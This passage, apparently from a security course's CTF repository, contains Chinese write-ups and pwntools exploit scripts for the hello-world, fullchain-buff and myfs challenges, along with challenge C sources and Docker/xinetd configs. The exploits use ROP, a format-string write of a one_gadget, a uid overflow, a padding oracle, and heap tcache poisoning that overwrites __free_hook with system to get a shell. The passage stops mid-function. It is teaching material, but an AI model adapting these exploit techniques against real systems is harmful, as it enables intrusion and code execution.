如下：\n\n```python\nrop = flat(\n    # read(3, bss, <large_number>)\n    rop_pop_rdi_ret, 3,\n    rop_pop_rsi_r15_ret, bss, 0,\n    plt_read,\n    \n    # puts(bss)\n    rop_pop_rdi_ret, bss,\n    plt_puts,\n    \n    main # will call fflush(stdout)\n)\n```\n\n\n\n這邊遇到滿多人詢問為什麼在 remote 時 flag 不會輸出，原因在於根據環境的不同，buffer type 也有可能不太一樣，剛好這支程式在 remote 時 buffer type 為 `_IOFBF` (Full buffering)，資料滿的時候才會清空並印出，跟 local 時的 buffer type `_IOLBF` (Line buffering) 並不相同，因此在 remote 才需要透過 `fflush(stdout)` 清空 stdout 的 buffer。\n\n\n\n[full exploit and source code](https://github.com/u1f383/Software-Security-2021/tree/master/quals)"
  },
  {
    "path": "2021/eof-qual/myfs/README.md",
    "content": "這題基本上就是考看 code + 找洞，利用相較容易，**flag2** 的問題最明顯，因為沒事不會設計成可以篡改加密的檔案，還做 padding 跟檢查 padding，寫法有夠怪應該是最容易發現。\n\n解掉 **flag1** 也能解 **flag2**，因為 uid 相同直接用 `dec()` 解開就好；解掉 **flag3** 也能解 **flag1, 2**，因為可以透過漏洞構造出 `aar()` 跟 `aaw()`，改 uid or leak key 都可。\n\n\n\n### flag1\n\n\n雖然看似 `mu_cnt` 有擋不能為 `0x100`，但是 `mu_cnt` 因為是 `uint8_t`，因此值只會在 0 ~ 255，不會有 256 的情況。所以當你建立夠多使用者，就能讓你的 uid 變成 0，而檔案存取是看 `uid` 是否相同，所以可以存取到 root 的檔案，拿到 flag。\n\n```c\nconst uint32_t mu_max_user_cnt = 0x100;\nstatic uint8_t mu_cnt = 0;\nMyUser *__new_mu(const char *username, const char *password, MyFile *rootfs_mf)\n{\n    if (mu_cnt == mu_max_user_cnt)\n        return NULL;\n}\n```\n\n\n\n### flag2\n\n加解密過程請看 `my_encrypt()` 與 `my_decrypt()` 的 code。\n\n\n\nleak iv:\n\n```c\nssize_t write_mf(MyUser *ms, MyFile *mf)\n{\n    ...\n    if (mf_is_enc(mf))\n        return hexdump(mf->data.ino->content, AES_BLOCK_SIZE);\n    ...\n}\n```\n\n\n\noverwrite iv:\n\n```c\nint read_mf(MyUser *mu, MyFile *mf)\n{\n    ...\n    if (mf_is_enc(mf))\n        return read(STDIN_FILENO, mf->data.ino->content, mf->size);\n    ...\n}\n```\n\n\n\n因為可以 leak 出加密的檔案 iv 並修改，加上解密時若 padding 不對就會回報 error，因此我們可以透過 padding oracle attack 來爆出明文，exploit 如下：\n\n```python\nflag = b'\\n\\x07\\x07\\x07\\x07\\x07\\x07\\x07'\ni = len(flag) + 1\nwhile i < 0x10:\n    if sys.argv[1] == 'remote':\n        r = remote('edu-ctf.zoolab.org', 30213)\n        solve_pow(r)\n    else:\n        r = process('./myfs')\n    \n    write_file('test_file_L1')\n    cipher = r.recvuntil('/> ', drop=True)\n    cipher = bytes.fromhex(cipher.decode())\n    \n    tmp_cipher = cipher[:-i] + b'\\x00'\n    for j in range(-i+1, 0, 1):\n        tmp_cipher += bytes([ cipher[j] ^ flag[j] ^ i ])\n\n    r.sendline(\"info test_file_L1\")\n    try:\n        for bt in range(0x100):\n            if bt == cipher[-i]:\n                continue\n            if -i + 1 == 0:\n                try_cipher = tmp_cipher[:-i] + bytes([bt])\n            else:\n                try_cipher = tmp_cipher[:-i] + bytes([bt]) + tmp_cipher[-i+1:]\n            \n            read_file('test_file_L1', try_cipher)\n            dec_file('test_file_L1')\n            oracle = r.recv(3)\n\n            if oracle != b'[-]':\n                xd = bytes([bt ^ i ^ cipher[-i]])\n                if xd.decode() in wl:\n                    flag = xd + flag\n                    print(\"[flag]: \", flag)\n                    i += 1\n                break\n    except:\n        pass\n```\n\n\n\n### flag3\n\n\n\n`_new_normfile()` 在建立新的 **normfile** 時沒有對 `mf->data.ino->content` 初始化：\n\n```c\nMyFile *_new_normfile(uint8_t uid, char *fn)\n{\n    MyFile *mf = __new_mf();\n    mf->uid = uid;\n    mf->fn = strdup(fn);\n    mf->data.ino = (iNode *) malloc(sizeof(iNode));\n    // 這邊應該要多一個: mf->data.ino->content = NULL;\n    mf->data.ino->refcnt = 1;\n    return mf;\n}\n```\n\n\n\n而在呼叫 `read_mf()` 時若 `mf->data.ino->content` 為 0，基本上等同於 `calloc()`：\n\n```c\nint read_mf(MyUser *mu, MyFile *mf)\n{\n    ...\n    \n    if (!mf->size || chk_min < 0 || chk_max < 0 || chk_min > nr || chk_max < nr)\n        mf->data.ino->content = realloc(mf->data.ino->content, nr + 0x10);\n        \n\t...\n}\n```\n\n\n\n然而因為 heap 一開始沒有什麼資料，因此 `mf->data.ino->content` 預設就會指向 `NULL`，致使在呼叫 `read_mf()` 時不會發生問題。然而一旦 deleted 的檔案到達 16 個，就會觸發 gc 的回收機制，將每個 deleted `MyFile` 給釋放掉，此時若再新增 **normfile**，`mf->data.ino->content` 就未必指向 NULL 了。實際上可以透過這種方式控制 0x30 tcache 中某個 chunk 的 next，在撞 1/16 機率的情況下，可以指定拿到在 heap address 當中的某塊記憶體區塊。\n\n而 `iNode` 的大小剛好是 0x30，如果能夠順利讓 `iNode` 拿到我們所控制的 chunk，並且與某個 `MyFile` 的 `content` 做重疊，就能透過印出/修改 `iNode` 的 pointer 來 leak heap/overwrite content pointer，構造 `aar()` 與 `aaw()` 的 primitive。最後用 `aar()` 讀殘留在 heap 上的 openssl library 位址來 leak libc，以 `aaw()` 寫 `__free_hook` 成 `system` 即可，exploit 如下：\n\n```python\nfor i in range(0xe):\n    create_normfile(str(i))\n\ncreate_normfile('large_file')\nread_file('large_file', 0x408 * b'\\x00')\n\nfor i in range(0xe):\n    delete_file(str(i))\n\ncreate_normfile('owo')\n# gdb.attach(r)\nread_file('owo', b'\\x50\\x3b')\n\ncreate_normfile('qaq')\nread_file('qaq', 0x18 * b'\\x00')\n\nwrite_file('large_file') # overlap with inode of qaq\nr.recv(0x10)\nheap = u64(r.recv(6).ljust(8, b'\\x00')) - 0x18a0\ninfo(f\"heap: {hex(heap)}\")\n\ndef aar(addr):\n    data = (p64(0)*2 + p64(addr)).ljust(0x408, b'\\x00')\n    read_file('large_file', data)\n    write_file('qaq')\n\ndef aaw(addr, content):\n    data = (p64(0)*2 + p64(addr)).ljust(0x408, b'\\x00')\n    read_file('large_file', data)\n    read_file('qaq', content.ljust(0x18, b'\\x00'))\n\naar(heap + 0x890)\nlibc = u64(r.recv(8)) - 0x2d0e00 - 0x1f2000\n__free_hook = libc + 0x1eeb28\n_system = libc + 0x55410\ninfo(f\"libc: {hex(libc)}\")\naaw(heap + 0x10, p64(0x0000000100040000))\naaw(__free_hook - 8, b'/bin/sh\\x00' + p64(_system))\n\nfor i in range(0xf):\n    create_normfile(str(i))\n\nfor i in range(0xf):\n    delete_file(str(i))\n\ndelete_file('qaq')\nr.interactive()\nexit(1)\nexcept Exception as e:\nprint(e)\n```\n\n\n\nP.S. 過程中可能會遇到 0x30 tcache `count != 0` 但是 `entrt == NULL` 的情況，因此需要先透過 `aaw()` 來修改 `tcache_perthread_struct` 的內容，才能讓程式繼續執行。\n\n\n\n[full exploit and source code](https://github.com/u1f383/Software-Security-2021/tree/master/quals)\n\n"
  },
  {
    "path": "2021/quals/exp/fullchain-buff.py",
    "content": "#!/usr/bin/python3\n\nfrom pwn import *\nimport sys\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nif len(sys.argv) > 1:\n    r = remote('edu-ctf.zoolab.org', 30205)\n\n    # leak libc\n    r.sendlineafter('global or local > ', 'local')\n    r.sendlineafter('read or write > ', 'write%23$p')\n    libc = int(r.recvuntil('global or local', drop=True)[-14:], 16) - 0x270b3\n    one_shot = libc + 0xe6f31\n    \"\"\"\n    0xe6f31: rax == NULL || [rax] == NULL\n    \"\"\"\n    info(f\"libc: {hex(libc)}\")\n    info(f\"one_shot: {hex(one_shot)}\")\n\n    # write one_gadget\n    r.sendlineafter(' > ', 'global')\n    r.sendlineafter('read or write > ', 'read')\n    r.sendlineafter('length > ', '22')\n    r.send(b'%688c%42$nAAAAAA' + p64(one_shot)[:6])\n\n    # overwrite link_map\n    r.sendlineafter('global or local > ', 'global')\n    r.sendlineafter('read or write > ', 'write')\n    r.interactive()\n\nelse:\n    r = process('./fullchain-buff')\n\n    # leak libc\n    r.sendlineafter('global or local > ', 'local')\n    r.sendlineafter('read or write > ', 'write%23$p')\n    libc = int(r.recvuntil('global or local', drop=True)[-14:], 16) - 0x270b3\n    one_shot = libc + 0xe6f31\n    \"\"\"\n    0xe6f31: rax == NULL || [rax] == NULL\n    \"\"\"\n    info(f\"libc: {hex(libc)}\")\n    info(f\"one_shot: {hex(one_shot)}\")\n\n    # write one_gadget\n    r.sendlineafter(' > ', 'global')\n    r.sendlineafter('read or write > ', 'read')\n    r.sendlineafter('length > ', '22')\n    r.send(b'%688c%42$nAAAAAA' + p64(one_shot)[:6])\n\n    # overwrite link_map\n    r.sendlineafter('global or local > ', 'global')\n    r.sendlineafter('read or write > ', 'write')\n    r.interactive()\n"
  },
  {
    "path": "2021/quals/exp/hello-world.py",
    "content": "#!/usr/bin/python3\n\nfrom pwn import *\nimport sys\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nif len(sys.argv) > 1:\n    r = remote('edu-ctf.zoolab.org', 30212)\nelse:\n    r = process('./hello-world')\n\nplt_puts = 0x401080\nplt_read = 0x401090\nbss = 0x404140\n\nrop_pop_rdi_ret = 0x4013a3\nrop_pop_rsi_r15_ret = 0x4013a1\nmain = 0x401301\n\nrop = flat(\n    rop_pop_rdi_ret, 3,\n    rop_pop_rsi_r15_ret, bss, 0,\n    plt_read,\n    rop_pop_rdi_ret, bss,\n    plt_puts,\n    main\n)\n\nr.send(b'\\xff' + b'\\x00' * 0x8 * 15 + rop)\nr.interactive()\n"
  },
  {
    "path": "2021/quals/exp/myfs-fuzz.py",
    "content": "#!/usr/bin/python3\n\nfrom pwn import *\nimport random\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nr = process('./myfs')\n\ndef create_user(u, p):\n    r.sendlineafter('> ', f\"useradd {u} {p}\")\n\ndef delete_user(u, p):\n    r.sendlineafter('> ', f\"userdel {u} {p}\")\n\ndef login(u, p):\n    r.sendlineafter('> ', f\"login {u} {p}\")\n\ndef create_normfile(fn):\n    r.sendlineafter('> ', f\"create normfile {fn}\")\n\ndef create_dir(fn):\n    r.sendlineafter('> ', f\"create dir {fn}\")\n\ndef delete_file(fn):\n    r.sendlineafter('> ', f\"rm {fn}\")\n\ndef enc_file(fn, key):\n    r.sendlineafter('> ', f\"enc {fn} {key}\")\n\ndef dec_file(fn, key):\n    r.sendlineafter('> ', f\"dec {fn} {key}\")\n\ndef enter_dir(fn):\n    r.sendlineafter('> ', f\"cd {fn}\")\n\ndef info(fn):\n    r.sendlineafter('> ', f\"info {fn}\")\n\ndef read_file(fn):\n    r.sendlineafter('> ', f\"read {fn}\")\n\ndef write_file(fn):\n    r.sendlineafter('> ', f\"write {fn}\")\n    r.sendline('A' * random.randint(1, 0x100))\n\ndef set_prot_file(fn, prot):\n    r.sendlineafter('> ', f\"set {fn} {prot}\")\n\ndef unset_prot_file(fn, prot):\n    r.sendlineafter('> ', f\"unset {fn} {prot}\")\n\ndef slss_file(fn):\n    r.sendlineafter('> ', f\"slss {fn}\")\n\ndef slsd_file(fn):\n    r.sendlineafter('> ', f\"slsd {fn}\")\n\ndef hlss_file(fn):\n    r.sendlineafter('> ', f\"hlss {fn}\")\n\ndef hlsd_file(fn):\n    r.sendlineafter('> ', f\"hlsd {fn}\")\n\nfn_list = [ chr(i) for i in range(256) ] + [\"..\"]\nkey_list = [ chr(i)*16 for i in range(256) ]\nuname_list = [ chr(i)*8 for i in range(256) ]\npass_list = [ chr(i)*8 for i in range(256) ]\n\nepoch = 0\nwhile True:\n    opt = random.randint(0, 18)\n    u = uname_list[ random.randint(0, 255) ]\n    p = pass_list[ random.randint(0, 255) ]\n    fn = fn_list[ random.randint(0, 256) ]\n    key = key_list[ random.randint(0, 255) ]\n\n    if opt == 0:\n        create_user(u, p)\n    elif opt == 1:\n        delete_user(u, p)\n    elif opt == 2:\n        login(u, p)\n    elif opt == 3:\n        create_normfile(fn)\n    elif opt == 4:\n        create_dir(fn)\n    elif opt == 5:\n        enc_file(fn, key)\n    elif opt == 6:\n        dec_file(fn, key)\n    elif opt == 7:\n        read_file(fn)\n    elif opt == 8:\n        write_file(fn)\n    elif opt == 9:\n        set_prot_file(fn, \"read,write\")\n    elif opt == 10:\n        unset_prot_file(fn, \"read,write\")\n    elif opt == 11:\n        slss_file(fn)\n    elif opt == 12:\n        slsd_file(fn)\n    elif opt == 13:\n        hlss_file(fn)\n    elif opt == 14:\n        hlsd_file(fn)\n    elif opt == 15:\n        enter_dir(fn)\n    elif opt == 16:\n        info(fn)\n    elif opt == 17:\n        r.sendlineafter('> ', 'ls')\n    else:\n        cnt = random.randint(1, 0x10)\n        r.sendlineafter('> ', 'A'*cnt)\n\n    epoch += 1\n    if epoch % 1000 == 0:\n        print(\"test...\", epoch)\n\nr.interactive()\n"
  },
  {
    "path": "2021/quals/exp/myfs.py",
    "content": "#!/usr/bin/python3\n\nfrom pwn import *\nimport sys\nimport string\n\ncontext.arch = 'amd64'\ncontext.terminal = ['tmux', 'splitw', '-h']\n\nif len(sys.argv) != 3:\n    exit(1)\n\nr = None\n\ndef create_user(u, p):\n    r.sendlineafter('> ', f\"useradd {u} {p}\")\n\ndef delete_user(u, p):\n    r.sendlineafter('> ', f\"userdel {u} {p}\")\n\ndef login(u, p):\n    r.sendlineafter('> ', f\"login {u} {p}\")\n\ndef create_normfile(fn):\n    r.sendlineafter('> ', f\"create normfile {fn}\")\n\ndef create_dir(fn):\n    r.sendlineafter('> ', f\"create dir {fn}\")\n\ndef delete_file(fn):\n    r.sendlineafter('> ', f\"rm {fn}\")\n\ndef enc_file(fn):\n    r.sendlineafter('> ', f\"enc {fn}\")\n\ndef dec_file(fn):\n    r.sendlineafter('> ', f\"dec {fn}\")\n\ndef enter_dir(fn):\n    r.sendlineafter('> ', f\"cd {fn}\")\n\ndef _info(fn):\n    r.sendlineafter('> ', f\"info {fn}\")\n\ndef read_file(fn, data):\n    r.sendlineafter('> ', f\"read {fn}\")\n    r.send(data)\n    sleep(0.5)\n\ndef write_file(fn):\n    r.sendlineafter('> ', f\"write {fn}\")\n\ndef set_prot_file(fn, prot):\n    r.sendlineafter('> ', f\"set {fn} {prot}\")\n\ndef unset_prot_file(fn, prot):\n    r.sendlineafter('> ', f\"unset {fn} {prot}\")\n\ndef slss_file(fn):\n    r.sendlineafter('> ', f\"slss {fn}\")\n\ndef slsd_file(fn):\n    r.sendlineafter('> ', f\"slsd {fn}\")\n\ndef hlss_file(fn):\n    r.sendlineafter('> ', f\"hlss {fn}\")\n\ndef hlsd_file(fn):\n    r.sendlineafter('> ', f\"hlsd {fn}\")\n\ndef verify_hash(prefix, answer, difficulty):\n    h = hashlib.sha256()\n    h.update((prefix + answer).encode())\n    bits = ''.join(bin(i)[2:].zfill(8) for i in h.digest())\n    return bits.startswith('0' * difficulty)\n\ndef solve_pow(r):\n    r.recvuntil('sha256(')\n    prefix = r.recvuntil(' + ???)', drop = True).decode()\n\n    i = 0\n    while not verify_hash(prefix, str(i), 20):\n        i += 1\n\n    print(i)\n    r.sendlineafter('POW answer:', str(i))\n\nwl = string.ascii_letters + string.digits + '\\n'\nif sys.argv[2] == 'flag3':\n    for _ in range(0x40):\n        try:\n            if sys.argv[1] == 'remote':\n                r = remote('edu-ctf.zoolab.org', 30213)\n                solve_pow(r)\n            else:\n                r = process('./myfs')\n\n            for i in range(0xe):\n                create_normfile(str(i))\n\n            create_normfile('large_file')\n            read_file('large_file', 0x408 * b'\\x00')\n\n            for i in range(0xe):\n                delete_file(str(i))\n\n            create_normfile('owo')\n            # gdb.attach(r)\n            read_file('owo', b'\\x50\\x3b')\n\n            create_normfile('qaq')\n            read_file('qaq', 0x18 * b'\\x00')\n\n            write_file('large_file') # overlap with inode of qaq\n            r.recv(0x10)\n            heap = u64(r.recv(6).ljust(8, b'\\x00')) - 0x18a0\n            info(f\"heap: {hex(heap)}\")\n\n            def aar(addr):\n                data = (p64(0)*2 + p64(addr)).ljust(0x408, b'\\x00')\n                read_file('large_file', data)\n                write_file('qaq')\n\n            def aaw(addr, content):\n                data = (p64(0)*2 + p64(addr)).ljust(0x408, b'\\x00')\n                read_file('large_file', data)\n                read_file('qaq', content.ljust(0x18, b'\\x00'))\n\n            aar(heap + 0x890)\n            libc = u64(r.recv(8)) - 0x2d0e00 - 0x1f2000\n            __free_hook = libc + 0x1eeb28\n            _system = libc + 0x55410\n            info(f\"libc: {hex(libc)}\")\n            aaw(heap + 0x10, p64(0x0000000100040000))\n            aaw(__free_hook - 8, b'/bin/sh\\x00' + p64(_system))\n\n            for i in range(0xf):\n                create_normfile(str(i))\n\n            for i in range(0xf):\n                delete_file(str(i))\n\n            delete_file('qaq')\n            r.interactive()\n            exit(1)\n        except Exception as e:\n            print(e)\nelif sys.argv[2] == 'flag2':\n    flag = b'\\n\\x07\\x07\\x07\\x07\\x07\\x07\\x07'\n    i = len(flag) + 1\n    while i < 0x10:\n        if sys.argv[1] == 'remote':\n            r = remote('edu-ctf.zoolab.org', 30213)\n            solve_pow(r)\n        else:\n            r = process('./myfs')\n        \n        write_file('test_file_L1')\n        cipher = r.recvuntil('/> ', drop=True)\n        cipher = bytes.fromhex(cipher.decode())\n        \n        tmp_cipher = cipher[:-i] + b'\\x00'\n        for j in range(-i+1, 0, 1):\n            tmp_cipher += bytes([ cipher[j] ^ flag[j] ^ i ])\n\n        r.sendline(\"info test_file_L1\")\n        try:\n            for bt in range(0x100):\n                if bt == cipher[-i]:\n                    continue\n                if -i + 1 == 0:\n                    try_cipher = tmp_cipher[:-i] + bytes([bt])\n                else:\n                    try_cipher = tmp_cipher[:-i] + bytes([bt]) + tmp_cipher[-i+1:]\n                \n                read_file('test_file_L1', try_cipher)\n                dec_file('test_file_L1')\n                oracle = r.recv(3)\n\n                if oracle != b'[-]':\n                    xd = bytes([bt ^ i ^ cipher[-i]])\n                    if xd.decode() in wl:\n                        flag = xd + flag\n                        print(\"[flag]: \", flag)\n                        i += 1\n                    break\n        except:\n            pass\n        r.close()\n        \n    r.interactive()\nelif sys.argv[2] == 'flag1':\n    if sys.argv[1] == 'remote':\n        r = remote('edu-ctf.zoolab.org', 30213)\n        solve_pow(r)\n    else:\n        r = process('./myfs')\n    \n    for i in range(0xfd):\n        create_user(str(i), str(i))\n\n    create_user('fuck', 'fuck')\n    login('fuck', 'fuck')\n    enter_dir('test_dir_L1')\n    write_file('test_file2_L2')\n    \n    r.interactive()\nelse:\n    exit(1)\n"
  },
  {
    "path": "2021/quals/fullchain-buff/Dockerfile",
    "content": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd\n\nRUN useradd -m fullchain-buff\nRUN chown -R root:root /home/fullchain-buff\nRUN chmod -R 755 /home/fullchain-buff\n\nCMD [\"/usr/sbin/xinetd\", \"-dontfork\"]"
  },
  {
    "path": "2021/quals/fullchain-buff/docker-compose.yml",
    "content": "version: '3'\n\nservices:\n  fullchain-buff:\n    build: ./\n    volumes:\n      - ./share:/home/fullchain-buff:ro\n      - ./xinetd:/etc/xinetd.d/fullchain-buff:ro\n    ports:\n      - \"30205:30205\"\n    expose:\n      - \"30205\""
  },
  {
    "path": "2021/quals/fullchain-buff/share/Makefile",
    "content": "all:\n\tgcc -no-pie -z now -o fullchain-buff fullchain-buff.c\n"
  },
  {
    "path": "2021/quals/fullchain-buff/share/flag",
    "content": "FLAG{test}"
  },
  {
    "path": "2021/quals/fullchain-buff/share/fullchain-buff.c",
    "content": "#include <stdio.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <string.h>\n\nchar global[0x20];\n\nvoid myread(char *addr)\n{\n    size_t len;\n\n    printf(\"length > \");\n    scanf(\"%lu\", &len);\n    if (len >= 24) {\n        puts(\"Too much\");\n        return;\n    }\n    read(0, addr, len);\n}\n\nvoid mywrite(char *addr)\n{\n    printf(addr);\n}\n\nvoid chal()\n{\n    char local[0x20] = {0};\n    char *ptr = NULL;\n    register int cnt = 3;\n\n    while (cnt--)\n    {\n        printf(\"global or local > \");\n        scanf(\"%10s\", local);\n\n        if (!strncmp(\"local\", local, 5))\n            ptr = local;\n        else if (!strncmp(\"global\", local, 6))\n            ptr = global;\n        else\n            exit(1);\n\n        printf(\"read or write > \");\n        scanf(\"%10s\", local);\n\n        if (!strncmp(\"read\", local, 4))\n            myread(ptr);\n        else if (!strncmp(\"write\", local, 5))\n            mywrite(ptr);\n        else\n            exit(1);\n    }\n    puts(\"Bye ~\");\n    exit(1);\n}\n\nint main()\n{\n    setvbuf(stdin, 0, _IONBF, 0);\n    setvbuf(stdout, 0, _IONBF, 0);\n    puts(\"[*] Flag is in the /home/fullchain-buff/flag\");\n    chal();\n}"
  },
  {
    "path": "2021/quals/fullchain-buff/share/run.sh",
    "content": "#!/bin/sh\n\nexec 2>/dev/null\ntimeout 60 /home/fullchain-buff/fullchain-buff"
  },
  {
    "path": "2021/quals/fullchain-buff/xinetd",
    "content": "service fullchain-buff\n{\n    disable = no\n    type = UNLISTED\n    socket_type = stream\n    protocol = tcp\n    server = /home/fullchain-buff/run.sh\n    user = fullchain-buff\n    port = 30205\n    flags = REUSE\n    bind = 0.0.0.0\n    wait = no\n}"
  },
  {
    "path": "2021/quals/myfs/Dockerfile",
    "content": "FROM ubuntu:20.04\nMAINTAINER u1f383\n\nRUN apt-get update && \\\n    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd libssl-dev\n\nRUN useradd -m myfs\nRUN chown -R myfs:myfs /home/myfs\nRUN chmod -R 755 /home/myfs\nCOPY share /home/myfs/\n\nRUN chown myfs:myfs /home/myfs/flag1.txt\nRUN chown myfs:myfs /home/myfs/flag2.txt\nUSER myfs\n\nCMD [\"/home/myfs/run.sh\"]"
  },
  {
    "path": "2021/quals/myfs/build.sh",
    "content": "#!/bin/bash\ndocker build -t myfs_myfs ."
  },
  {
    "path": "2021/quals/myfs/pow.py",
    "content": "#!/usr/bin/env python3\nimport secrets\nimport hashlib\nimport subprocess\n\n##\n# https://github.com/balsn/proof-of-work/blob/master/nc_powser.py\n##\nclass NcPowser:\n    def __init__(self, difficulty=10, prefix_length=16): \n        self.difficulty = difficulty\n        self.prefix_length = prefix_length\n\n    def get_challenge(self):\n        return secrets.token_urlsafe(self.prefix_length)[:self.prefix_length].replace('-', 'b').replace('_', 'a')\n\n    def verify_hash(self, prefix, answer):\n        h = hashlib.sha256()\n        h.update((prefix + answer).encode())\n        bits = ''.join(bin(i)[2:].zfill(8) for i in h.digest())\n        return bits.startswith('0' * self.difficulty)\n\ndef main():\n    powser = NcPowser()\n    prefix = powser.get_challenge()\n    print(f'''\nsha256({prefix} + ???) == {'0'*powser.difficulty}({powser.difficulty})...\n''')\n\n    ans = input('POW answer: ')\n    if not powser.verify_hash(prefix, ans):\n        print('Not correct!')\n        return\n\n    print('Passed!')\n\n    # you code here\n    import os\n    os.system('docker run -i --rm myfs_myfs')\n\nif __name__ == '__main__':\n    main()\n\n"
  },
  {
    "path": "2021/quals/myfs/run.sh",
    "content": "#!/bin/bash\n\npython3 /home/admin/quals/myfs/pow.py"
  },
  {
    "path": "2021/quals/myfs/setup.sh",
    "content": "#!/bin/bash\n\nset -e\n\nsudo apt install xinetd\nsudo cp xinetd /etc/xinetd.d/myfs\n/usr/sbin/xinetd -dontfork &"
  },
  {
    "path": "2021/quals/myfs/share/Makefile",
    "content": "all:\n\tgcc -o myfs main.c fs.c gc.c user.c mycrypto.c -lcrypto\n"
  },
  {
    "path": "2021/quals/myfs/share/flag1.txt",
    "content": "FLAG{TEST}"
  },
  {
    "path": "2021/quals/myfs/share/flag2.txt",
    "content": "FLAG{TEST}"
  },
  {
    "path": "2021/quals/myfs/share/flag3.txt",
    "content": "FLAG{TEST}"
  },
  {
    "path": "2021/quals/myfs/share/fs.c",
    "content": "#include \"fs.h\"\n#include \"list.h\"\n#include \"gc.h\"\n#include \"mycrypto.h\"\n#include <stdio.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdlib.h>\n\nlist_head rootfs = { .next = NULL };\nextern unsigned char key[17];\n\nMyFile *__new_mf()\n{\n    MyFile *mf = (MyFile *) malloc(sizeof(MyFile));\n    mf->fid = mf_cnt++;\n    mf->uid = 0;\n    mf->refcnt = 1;\n    mf->size = 0;\n    mf->metadata = 0;\n    mf->data.ino = NULL;\n    mf->dir_hd.next = NULL;\n    mf->next_file.next = NULL;\n    return mf;\n}\n\nMyFile *_new_normfile(uint8_t uid, char *fn)\n{\n    MyFile *mf = __new_mf();\n    mf->uid = uid;\n    mf->fn = strdup(fn);\n    mf->data.ino = (iNode *) malloc(sizeof(iNode));\n    mf->data.ino->refcnt = 1;\n    return mf;\n}\n\nMyFile *_new_dir(uint8_t uid, char *fn)\n{\n    MyFile *mf = _new_normfile(uid, fn);\n    mf->metadata |= MF_META_TYPE_IS_DIR;\n    return mf;\n}\n\nMyFile *_new_slink(uint8_t uid, MyFile *link, char *fn)\n{\n    MyFile *mf = __new_mf();\n    mf->uid = uid;\n    mf->data.link = link;\n    mf->metadata |= MF_META_TYPE_IS_SLINK;\n    mf->fn = strdup(fn);\n\n    link->refcnt++;\n    return mf;\n}\n\nMyFile *_new_hlink(uint8_t uid, MyFile *link, char *fn)\n{\n    MyFile *mf = __new_mf();\n    mf->uid = uid;\n    mf->data.ino = link->data.ino;\n    mf->size = link->size;\n    mf->metadata |= (MF_META_TYPE_IS_HLINK | link->metadata);\n    mf->fn = strdup(fn);\n\n    link->data.ino->refcnt++;\n    return mf;\n}\n\nMyFile* _get_mf_by_fname(MyFile *dir, char *fn)\n{\n    MyFile *curr_mf = NULL;\n    list_head *curr = dir->dir_hd.next;\n    \n    while (curr) {\n        curr_mf = container_of(curr, MyFile, next_file);\n        if (!strcmp(curr_mf->fn, fn))\n            return curr_mf;\n        curr = curr->next;\n    }\n    return NULL;\n}\n\nMyFile* get_mf_by_fname(MyUser *mu, char *fn)\n{\n    return _get_mf_by_fname(mu->curr_dir, fn);\n}\n\nint create_mf(MyUser *mu, char *type, char *fn)\n{\n    MyFile *mf = NULL;\n\n    if (mu->curr_dir->uid != mu->uid &&\n        !mf_is_writable(mu->curr_dir))\n        return -1;\n\n    if (!strcmp(type, \"dir\"))\n        mf = _new_dir(mu->uid, fn);\n    else if (!strcmp(type, \"normfile\"))\n        mf = _new_normfile(mu->uid, fn);\n    else\n        return -1;\n    \n    list_add(&mu->curr_dir->dir_hd, &mf->next_file);\n    mu->curr_dir->size++;\n    return 0;\n}\n\nvoid show_fileinfo(MyUser *mu, MyFile *mf, uint8_t all_name)\n{\n    const char *prot = NULL;\n    const char *uname = NULL;\n    const char *type = NULL;\n\n    if (mf_is_slink(mf))\n        type = \"s\";\n    else if (mf_is_normfile(mf))\n        type = \"-\";\n    else if (mf_is_dir(mf))\n        type = \"d\";\n    else\n        return;\n\n    if (mf_is_readable(mf) && mf_is_writable(mf))\n        prot = \"rw\";\n    else if (mf_is_readable(mf))\n        prot = \"r-\";\n    else if (mf_is_writable(mf))\n        prot = \"-w\";\n    else\n        prot = \"--\";\n\n    uname = get_uname_by_uid(mf->uid);\n    if (uname == NULL)\n        return;\n\n    if (all_name) {\n        printf(\"%srw----%s- %-32s%8u %s\\n\", type, prot, uname, mf->size, mf->fn);\n    } else {\n        char buf[0x20] = {0};\n        memset(buf, '.', 0x1f);\n        if (strlen(mf->fn) >= 0x1f)\n            memcpy(buf, mf->fn, 0x1c);\n        else\n            strcpy(buf, mf->fn);\n        \n        printf(\"%srw----%s- %-32s%8u %-32s\\n\", type, prot, uname, mf->size, buf);\n    }\n}\n\nint delete_mf(GC *gc, MyUser *mu, MyFile *mf)\n{\n    /**\n     * if there are some files in the directory,\n     * we cannot delete the directory\n     */\n    if (mf_is_dir(mf) && mf->size > 0)\n        return -1;\n    \n    /**\n     * even though file is removed from current directory,\n     * it is maybe softlinked by other file\n     */\n    list_delete(&mu->curr_dir->dir_hd, &mf->next_file);\n    mu->curr_dir->size--;\n    \n    mf->fid = -1;\n    mf->refcnt--;\n    \n    // we use gc as we can\n    if (gc)\n        return gc->gc_list_add(gc, &mf->next_file);\n    return _release_mf(mf);\n}\n\nint enter_dir(MyUser *mu, MyFile *mf)\n{\n    while (mf && mf_is_slink(mf))\n        mf = mf->data.link;\n\n    if (!mf || mf_is_deleted(mf) || !mf_is_dir(mf))\n        return -1;\n\n    if (mf->uid != mu->uid && !mf_is_readable(mf))\n        return -1;\n\n    if (mf == mu->dir_stack[mu->dir_deep - 2]) {\n        // cd ..\n        mu->dir_stack[mu->dir_deep - 1] = NULL;\n        mu->dir_deep--;\n    } else {\n        if (mu->dir_deep == MU_DIR_MAX_DEEP)\n            return -1;\n        mu->dir_deep++;\n        mu->dir_stack[mu->dir_deep - 1] = mf;\n    }\n    mu->curr_dir = mf;\n    return 0;\n}\n\nint goto_rootfs(MyUser *mu)\n{\n    for (; mu->dir_deep != 1; mu->dir_deep--)\n        mu->dir_stack[mu->dir_deep - 1] = NULL;\n\n    mu->curr_dir = mu->dir_stack[0];\n    return 0;\n}\n\nint enc_mf(MyUser *mu, MyFile *mf)\n{\n    while (mf && mf_is_slink(mf))\n        mf = mf->data.link;\n\n    if (!mf || mf_is_deleted(mf) || !mf_is_normfile(mf) ||\n        mf_is_enc(mf) || mf->data.ino->content == NULL)\n        return 